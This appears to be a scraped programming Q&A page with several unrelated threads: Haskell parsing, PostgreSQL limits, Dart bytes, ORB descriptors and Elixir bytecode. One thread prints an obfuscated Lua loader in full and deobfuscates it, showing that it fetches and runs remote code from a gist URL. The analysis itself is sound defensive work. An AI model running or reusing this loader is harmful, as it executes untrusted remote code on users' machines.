Haskell: How to use attoparsec in order to read a nested list from a ByteString - parsing

I have a text file (~ 300 MB large) with a nested list, similar to this one:
[[4, 9, 11, 28, 30, 45, 55, 58, 61, 62, 63, 69, 74, 76, 77, 82, 87, 92, 93, 94, 95], [4, 9, 11, 28, 30, 45, 55, 58, 61, 62, 63, 69, 74, 76, 77, 82, 87, 92, 93, 94],[4, 9, 11, 28, 30, 45, 55, 58, 61, 62, 63, 69, 74, 76, 77, 82, 85, 87, 92, 93, 94, 95]]
Here is my program to read the file into a haskell Integer list:
import qualified Data.ByteString as ByteStr
main :: IO ()
-- HOW to do the same thing but using ByteStr.readFile for file access?
main = do fContents <- readFile filePath
let numList = readNums fContents
putStrLn (show nums)
This works for small text files, but I want to use ByteString to read the file quickly. I found out that there is no read function for ByteString, instead you should write your own parser in attoparsec, since it supports parsing ByteStrings.
How can I use attoparsec to parse the nested list?

The data seems to be in JSON format, so you can use Data.Aeson decode function which works on ByteString
import qualified Data.ByteString.Lazy as BL
import Data.Aeson
import Data.Maybe
main = do fContents <- BL.readFile filePath
let numList = decode fContents :: Maybe [[Int]]
putStrLn (show $ fromJust numList)

Related

How to decrypt a LuaT script

How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.
Add proper linebreaks
Replace insane variable names with shorter ones
Unescape things like '\115\116\114\105\110\103' into 'string'
Keep going until you realize the thing that starts with _ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)
Notice that it's a very simple decryption function that operates on the giant table of numbers and then loads the result
Modify the decryption function to print the result instead of loading it
Notice the result of doing so is Lua 5.4 bytecode
Run unluac on said bytecode
If you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua

Can't query for more than 100 IDs with PostgreSQL

I'm migrating from MySQL to PostgreSQL, but I'm getting the following error:
PG::TooManyArguments: ERROR: cannot pass more than 100 arguments to a function
when running queries like this:
Project.where(id: ids)
Which is translated to
"SELECT \"projects\".* FROM \"projects\" WHERE \"projects\".\"id\" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100) ORDER BY FIELD(projects.id, '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100')"
For me it's a common use case to query by specific IDs and it worked pretty well with MySQL. Is there any way to make this work with PostgreSQL?
I'm using PostgreSQL 13.2 on a docker container.
According to the error you have, cause is the function not the query itself. you can pass 32K arguments to the query and it will work (2byte int limit). As for functions, postgres by default has 100 arg limit (set during compilation). you can try to compile from source and set that number to higher value (I dont recommend doing that, unless you really understand the consequences).
Best approach would be probably to look into how to replace FIELD() function that is executed and modify so that you don't run into the problem. Can you change your system so that you can use column in DB to sort by? That way you dont need to pass those IDs for sorting. Or, if you have to use IDs, what about using CASE for sorting, like in this SO question: Simulating MySQL's ORDER BY FIELD() in Postgresql
The only "fix" I could find was downgrading PostgreSQL docker image to 11.11 where this error does not happen.

How to read byte array data in Dart?

connecting TCP Socket server and sending Request. and also Server sends the response in Byte array. How to read byte array data in dart.
Socket.connect('localhost', 8081)
.then((socket) {
//Establish the onData, and onDone callbacks
socket.listen((data) {
print(new String.fromCharCodes(data).trim()); //Here data is byte[]
//How to read byte array data
},
onDone: () {
print("Done");
// socket.destroy();
},
onError: (e) {
print('Server error: $e');
});
socket.add([255, 12, 0, 11, 0, 9, 34, 82, 69, 70, 84, 65, 72, 73, 76]);
});
}
It depends on with data type was encoded to bytes. Let's suppose it's String
Then you can do it with dart:convert library.
import 'dart:convert' show utf8;
final decoded = utf8.decode(data);
It's pretty clear that there's a message structure in those bytes. You give two examples of messages:
[255, 12, 0, 11, 0, 9, 34, 82, 69, 70, 84, 65, 72, 73, 76]
and
[255, 20, 0, 11, 0, 0, 0, 15, 80, 82, 69, 77, 84, 65, 72, 73, 76, 45, 53, 53, 57, 55, 48]
Both start with 255, followed by what looks like two or three little endian 16 bit words (12 and 11) and (20, 11 and 0) followed by a string, who's length is encoded in a leading byte. If you are expected to inter-operate with another system, you really need the protocol spec.
Assuming I've guessed the structure correctly, this code
main() {
Uint8List input = Uint8List.fromList([
255,
20,
0,
11,
0,
0,
0,
15,
80,
82,
69,
77,
84,
65,
72,
73,
76,
45,
53,
53,
57,
55,
48
]);
ByteData bd = input.buffer.asByteData();
print(bd.getUint16(1, Endian.little)); // print the first short
print(bd.getUint16(3, Endian.little)); // and the second
print(bd.getUint16(5, Endian.little)); // and the third
int stringLength = input[7]; // get the length of the string
print(utf8.decode(input.sublist(8, 8 + stringLength))); // decode the string
}
produces
20
11
0
PREMTAHIL-55970
as expected

Finding hamming distance between ORB feature descriptors

I am trying to write a function to match ORB features. I am not using default matchers (bfmatcher, flann matcher) because i just want match speific features in image with features in other image.
I saw ORS descriptor its a binary array.
My query is how to match 2 features i.e how to find hamming distance between 2 descriptors ?
ORB descriptors:
descriptor1 =[34, 200, 96, 158, 75, 208, 158, 230, 151, 85, 192, 131, 40, 142, 54, 64, 75, 251, 147, 195, 78, 11, 62, 245, 49, 32, 154, 59, 21, 28, 52, 222]
descriptor2 =[128, 129, 2, 129, 196, 2, 168, 101, 60, 35, 83, 18, 12, 10, 104, 73, 122, 13, 2, 176, 114, 188, 1, 198, 12, 0, 154, 68, 5, 8, 177, 128]
Thanks.
ORB descriptors are just 32 byte uchar Mat's.
the bruteforce and flann matchers do some more work, than just comparing descriptors, but if that's all you want for now, it would be a straight norm:
Mat descriptor1, descriptor2;
double dist = norm( descriptor1, descriptor2, NORM_HAMMING);
// NORM_HAMMING2 or even NORM_L1 would make sense, too.
// dist is a double, but ofc. you'd only get integer values in this case.

Elixir: what is the binary printed in the repl after module definition?

I wrote a simple module in the repl:
iex(26)> defmodule Adder do
...(26)> def add(a \\ 0, b \\ 0) do
...(26)> a+b
...(26)> end
...(26)> end
{:module, Adder,
<<70, 79, 82, 49, 0, 0, 4, 224, 66, 69, 65, 77, 65, 116, 111, 109, 0, 0, 0, 106, 0, 0, 0, 12, 12, 69, 108, 105, 120, 105, 114, 46, 65, 100, 100, 101, 114, 8, 95, 95, 105, 110, 102, 111, 95, 95, 4, 100, 111, 99, ...>>,
{:add, 2}}
What is the binary printed out after the module definition?
That's the BEAM bytecode output as a raw binary. It's used by the compiler to persist the compiled module to a Elixir.Adder.beam file when compiling via mix. Modules defined in iex aren't ever persisted to disk, but you can think of it as confirmation that your module was successfully compiled in memory.

Resources